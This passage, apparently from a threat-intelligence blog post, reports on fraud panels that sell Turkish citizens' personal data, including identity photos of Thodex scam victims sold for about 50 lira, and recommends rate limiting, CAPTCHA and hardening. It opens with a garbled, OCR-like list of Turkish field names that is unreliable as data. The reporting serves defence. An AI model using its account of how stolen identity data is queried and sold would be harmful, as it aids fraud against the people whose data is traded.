Seri No Arsa Pay Mavi Kart Var mi 2 Ad Ad Ad Adres Stoktan Diisme Tarihi

Arsa Payda Alle Sira No Soyad Soyad Sabika Sorgusu ile Soyad Eski Sube Kodu

Oniversite Sorgusu ile Cilt No Birey Sira No Dogum Tarihi Dogum Tarihi Dosya Adt Anne Adi IWPlaka Kodu
Ad Kanuna Tabi mi? Cilt No Cinsiyet Vergi Daire Adi Suglu Adi Baba Adi SiraNo
Soyad Vergi Daire Kodu Suglu Soyad Dogum Yeri Yeni Sube Kodu
Universite Oliim Tarihi Sorgusu ile| | Oliim Sorgusu ile Muayene Sorgusuile|  [Vergi No Sug Tiirii Dogum Tarihi Araci No
Kurum Kodu Ad Ad Katilm Ucreti Kisi Tipi Cinsiyet
Durum Soyad Soyad Takip No. Kurum Niifus I Evlilik & Bosanma Sorgusu ile

Cinsiyet Dogum Tarihi Takip Tarihi Avukat Adi Niifus iige Ad

Sinif Sorgusu ile Dogum Yeri Dogum Yeri Tahsis Edildi mi ? Avukat Soyadi Adres Il Soyad
Ad Dogum Tarihi Yasam Durumu Hastahane Adi Avukat TC No Adres lige Cinsiyet
Soyad Durum Dosya Durumu Adres Mahalle Medeni Hali
Okul Oliim Tarihi Avukat Durumu Adres Cadde/Sokak Dogum Tarihi
Okul Tilrii Kurum Adi Adres Bina No Evlilik Tarihi
SinifiSube Adres Daire No Bosanma Tarihi

As I continued examining the source codes, independent of the previous topic,
I came across approximately 131 individuals’ names and identity photos, which
have been the subject of recent news and debates. When I compared them to
images featured in past news, I discovered that they were associated with the
cryptocurrency exchange Thodex, which was involved in the scam that affected
thousands of people. It was revealed that these photos have been in the
possession of scammers since 2021 and were being sold for 50 Turkish Lira
(~$2) .
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. . class="block-content tab-content
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To summarize the matter, even though Turkey’s e-Government has not been

hacked, unfortunately, there is a concerning outcome for citizens. At this
level of organized fraud, it is not feasible for citizens to individually
ensure the security of their data and information or change and update the
data they believe has been obtained (such as TCKN, mother’s name, father’s
name, maiden name, etc.). Therefore,

. It is a significant responsibility for the authorities to detect and

intervene in these stolen and abused accounts, websites, APIs, and services
through the utilization of cyber threat intelligence platforms and services.

While law enforcement agencies continue their operations against fraudsters
and threat actors without slowing down, implementing security controls at the
software and network levels in these types of websites, APIs, and services
that carry the risk of misuse is crucial (such as implementing Captcha
controls where possible, limiting the number of web requests to a page or

service within a certain timeframe, suspending and investigating accounts in


https://www.turkiye.gov.tr/
https://en.wikipedia.org/wiki/CAPTCHA

the case of multiple requests, cutting off network connections, subjecting
them to additional verification steps, etc.). Strengthening system security
(hardening) is also of great importance.

Hope to see you in the following articles.



